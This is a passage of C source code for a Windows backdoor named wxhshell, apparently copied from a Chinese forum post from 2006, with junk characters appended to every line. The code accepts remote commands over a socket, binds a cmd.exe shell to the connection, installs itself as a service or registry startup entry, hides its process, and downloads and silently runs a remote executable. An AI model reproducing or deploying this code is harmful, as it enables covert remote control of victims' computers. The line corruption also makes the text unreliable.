  // 帮助 `:Gzjngc  
  case '?': { JC%&d1  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 4MS#`E7LrC  
    break; s :7/\h  
  } h Fik>B#!  
  // 安装 Hc =QSP  
  case 'i': { ghWWJx9  
    if(Install()) :u./"[G  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7]xDMu'^&f  
    else R?O)v Lmd  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 6IG?t  
    break; Kc?4q=7q  
    } ^L5-2;s<U'  
  // 卸载 3q}j"x?  
  case 'r': { fCx (  
    if(Uninstall()) + x=)Kp>  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); <|4$T H^ t  
    else >P:X\5Oj  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); hK{H7Ey*  
    break; 5\MC5us3  
    } #'q7 x  
  // 显示 wxhshell 所在路径 K\rQb  
  case 'p': { V-}}?c1 F  
    char svExeFile[MAX_PATH]; <M@-|K"Eb  
    strcpy(svExeFile,"\n\r"); ey=KAt  
      strcat(svExeFile,ExeFile); N"G aQ  
        send(wsh,svExeFile,strlen(svExeFile),0); q50F!yHC-  
    break; <kdlXS>J.  
    } 3}<U'%sd  
  // 重启 zk FX[-'O  
  case 'b': { N=BG0t$  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); (_zlCHB  
    if(Boot(REBOOT)) A vq+s.h  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0mujf  
    else { WA8<:#{e  
    closesocket(wsh); M&j|5UH%.  
    ExitThread(0); <mE`<-$  
    } X n$ZA-  
    break; R,G*]/r`  
    } :R,M Y"(  
  // 关机 Ha`N  
  case 'd': { nf/?7~3?[  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); b/'c h  
    if(Boot(SHUTDOWN)) Mg.%&vH\  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); N! 7}B  
    else { iyl i/3|  
    closesocket(wsh); RkYn6  
    ExitThread(0); :.,9}\LK  
    } ]alc%(=  
    break; t`"m@  
    } ]a4U\yr  
  // 获取shell M_};J;  
  case 's': { cdt9hH`Cd  
    CmdShell(wsh); l,7& z  
    closesocket(wsh); p0bWzIH  
    ExitThread(0); kun/KY  
    break; &rBe -52  
  } &.,K@OFE}  
  // 退出 zHb [.ry~  
  case 'x': { t1adS:)s  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); e4tIO   
    CloseIt(wsh); MqnUym  
    break; 0I)$!1~O)  
    } /RxP:>hVv  
  // 离开 '\I(n|\  
  case 'q': { 2+gbMd4n  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); p H  y  
    closesocket(wsh); C7FQc {  
    WSACleanup(); y4Jc|)  
    exit(1); I_ mus<sE  
    break; IC0L&;En  
        } dT|f<E/P  
  } CaJ-oy8  
  } Q v9q~l  
=0=#M(w  
  // 提示信息 q@ -B+  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); PC_!  
} 'w+]kt-  
  } 'dwT&v]@  
-I|xW  
  return; 0 N,<v7PX  
} s1D<R,J|H  
={O ~  
// shell模块句柄 :Z//  
int CmdShell(SOCKET sock) H2s:M  
{ _J l(:r\%  
STARTUPINFO si; ~?F,kmO}?  
ZeroMemory(&si,sizeof(si)); y&zFS4"x  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; [tpiU'/Zl  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; @f-X/q]P  
PROCESS_INFORMATION ProcessInfo; <?nIO  
char cmdline[]="cmd"; `I5^zi8  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); hpAdoy[  
  return 0; a;HAuy`M x  
} E 5&Z={  
:(n<c  
// 自身启动模式 I\. |\^  
int StartFromService(void) 1Z# $X`  
{ 2I-d.{  
typedef struct k&dXK  
{ G]'ah1W  
  DWORD ExitStatus; ^c\O , *:  
  DWORD PebBaseAddress; $+*nb4  
  DWORD AffinityMask; |Kd#pYt%O  
  DWORD BasePriority; f$o^Xu  
  ULONG UniqueProcessId; Sa= tiOv  
  ULONG InheritedFromUniqueProcessId; N(&{~*YE  
}   PROCESS_BASIC_INFORMATION; f^$,;  
Hf`i~6  
PROCNTQSIP NtQueryInformationProcess; GJ,&$@8)  
3f7zW3F  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; =?RI`}vw_H  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ;  =_dM@j  
^[?y 2A:  
  HANDLE             hProcess; -tg|y  
  PROCESS_BASIC_INFORMATION pbi; (9]Uuvfp6"  
"\b>JV5  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); RQ,#TbAe  
  if(NULL == hInst ) return 0; D\Ak-$kJ^  
QL/KY G  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); y(COB6r  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ${ {4L ?7  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); g3tE.!a5-  
w]wZJ/U`  
  if (!NtQueryInformationProcess) return 0; {"ST hTZ  
)eyzHB,H  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); yLa@27T\A  
  if(!hProcess) return 0; Y Zj-%5  
L`+[mX&2B  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; s6 yvq#:  
T2e-RR  
  CloseHandle(hProcess); QQl.5'PP  
@nktD.  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); -zg*p&F  
if(hProcess==NULL) return 0; /Y0~BQC7!  
tdm7MPM  
HMODULE hMod; PtfG~$h?  
char procName[255]; $Rm~ VwY#  
unsigned long cbNeeded; Fw<"]*iu  
-b-a21,m>  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); .WF"vUp  
kKyU?/aj  
  CloseHandle(hProcess); b"I#\;Ym  
2 2v"?*  
if(strstr(procName,"services")) return 1; // 以服务启动 V!Wy[u  
UleT9 [M  
  return 0; // 注册表启动 Tv``\<   
} !nBbt?*  
c!Hz'W  
// 主模块 Bz]tKJ  
int StartWxhshell(LPSTR lpCmdLine) )4g_S?l=  
{ ^j<v~GT x+  
  SOCKET wsl; ,->ihxf  
BOOL val=TRUE; {T4_Xn-I  
  int port=0; /@9Q:'P  
  struct sockaddr_in door; pv]@}+<Dt  
g NI1W@)  
  if(wscfg.ws_autoins) Install(); t ed:]  
Q0J1"*P0  
port=atoi(lpCmdLine); ^#_gk uyd!  
m%|\AZBA#  
if(port<=0) port=wscfg.ws_port; '.Y,VJaL  
%KQ1{"  
  WSADATA data; IK -vcG  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; {<-s&%/r  
:\;9y3  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   \Id8X`,eD  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); u+)!C*ho  
  door.sin_family = AF_INET; mY 1l2  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); TNu% _ 34  
  door.sin_port = htons(port); EavBUX$O  
B7\4^6Tx  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { @yTu/U  
closesocket(wsl); ZdW+=;/#  
return 1; /$; Z ~^P  
} o-<i+To%  
yhH2b:nY(9  
  if(listen(wsl,2) == INVALID_SOCKET) { $JFjR@j  
closesocket(wsl); 2Io| ?  
return 1; rc=E%Qv%?  
} 392V\qtS  
  Wxhshell(wsl); 7?fgcb3  
  WSACleanup(); kepuh%KY[  
534pX7dg  
return 0; MfQ0O?oBp  
c&D+=   
} <exCK*G  
voZaJ2ho/O  
// 以NT服务方式启动 k=)U  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Sm/8VSY  
{ BbB3#/g  
DWORD   status = 0; 0]>bNbLB"  
  DWORD   specificError = 0xfffffff; ~A0AB `7  
=-dnniKW4  
  serviceStatus.dwServiceType     = SERVICE_WIN32; DFr$2Y3H  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Jk.x^  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 8r( Vz  
  serviceStatus.dwWin32ExitCode     = 0; lO@-*m$  
  serviceStatus.dwServiceSpecificExitCode = 0; qZ<n\Mt  
  serviceStatus.dwCheckPoint       = 0; (Q{JI~P  
  serviceStatus.dwWaitHint       = 0; e{8C0=  
 V FM[-  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ?c.\\2>|F  
  if (hServiceStatusHandle==0) return; H VM %B{(  
I(6%'s2  
status = GetLastError(); cC8$oCR?  
  if (status!=NO_ERROR) ih kZs3}  
{ Gb^63.}  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; i3 js'?7E  
    serviceStatus.dwCheckPoint       = 0; ZRhk2DA#FF  
    serviceStatus.dwWaitHint       = 0; )=)N9CRy  
    serviceStatus.dwWin32ExitCode     = status; tN{0C/B9  
    serviceStatus.dwServiceSpecificExitCode = specificError; H;=yR]E  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); <(E)M@2  
    return; }%KQrlbHJl  
  } mLq0;uGL|  
8mr fs%_  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; i7H([b<_m  
  serviceStatus.dwCheckPoint       = 0; k2Q[v  
  serviceStatus.dwWaitHint       = 0; R5sEQ| E  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); C5=^cH8  
} 1XS~b-St  
MKtI 3vi?  
// 处理NT服务事件,比如:启动、停止 51}C`j|V3{  
VOID WINAPI NTServiceHandler(DWORD fdwControl) *42KLns  
{ `_ ^I 2  
switch(fdwControl) P#pb48^-  
{ ^(Gl$GC$Mu  
case SERVICE_CONTROL_STOP: -Ua5anzB  
  serviceStatus.dwWin32ExitCode = 0;  WDNj 7  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; f TmJDUv+  
  serviceStatus.dwCheckPoint   = 0; 3@F U-k,i  
  serviceStatus.dwWaitHint     = 0; f?.}S] u5  
  {  5+GTK)D  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); @!$xSH  
  } 2-S}#S}2C  
  return; #8d#Jw  
case SERVICE_CONTROL_PAUSE: S> Fb'rJ3  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 1mV ' ~W  
  break; X'd\b}Bm  
case SERVICE_CONTROL_CONTINUE: NiG&Lw*8  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; nR%w5oe  
  break; ?r;F'%N=  
case SERVICE_CONTROL_INTERROGATE: K*~xy bA  
  break; c'$y_]  
}; 8?~>FLWTXZ  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); SP0ueAa}  
} V xN!Ki=  
i@{b+5$  
// 标准应用程序主函数 #~Kno@  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) j\#)'>"  
{ C4E*q3[Y  
D[T\_3 W  
// 获取操作系统版本 )~)T[S  
OsIsNt=GetOsVer(); h<IAH Cz;(  
GetModuleFileName(NULL,ExeFile,MAX_PATH); j+.E#:tu"  
yJx,4be  
  // 从命令行安装 )m-(-I  
  if(strpbrk(lpCmdLine,"iI")) Install(); Z){fie4WM  
iLdUus!  
  // 下载执行文件 x+sSmW  
if(wscfg.ws_downexe) { C B;j[.  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) KjA7x  
  WinExec(wscfg.ws_filenam,SW_HIDE); w^~s4Q_>>  
} ,*$Y[UT  
J?p|Vy|9  
if(!OsIsNt) { ({4?RtYm  
// 如果时win9x,隐藏进程并且设置为注册表启动 UeUOGf ,  
HideProc(); 5G<`c  
StartWxhshell(lpCmdLine); |}l/6WHB  
} `[=/f=Q}  
else 1\TkI=N3  
  if(StartFromService()) ?zo7.R-Vac  
  // 以服务方式启动 }m!T~XR</  
  StartServiceCtrlDispatcher(DispatchTable); p E1uD4lLb  
else *R&77 o7  
  // 普通方式启动 Vl7V?`_4  
  StartWxhshell(lpCmdLine); ^(*eoe  
)x5w`N]lm  
return 0; RG1#\d-fE  
}
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只看该作者 1 发表于: 2006-10-10
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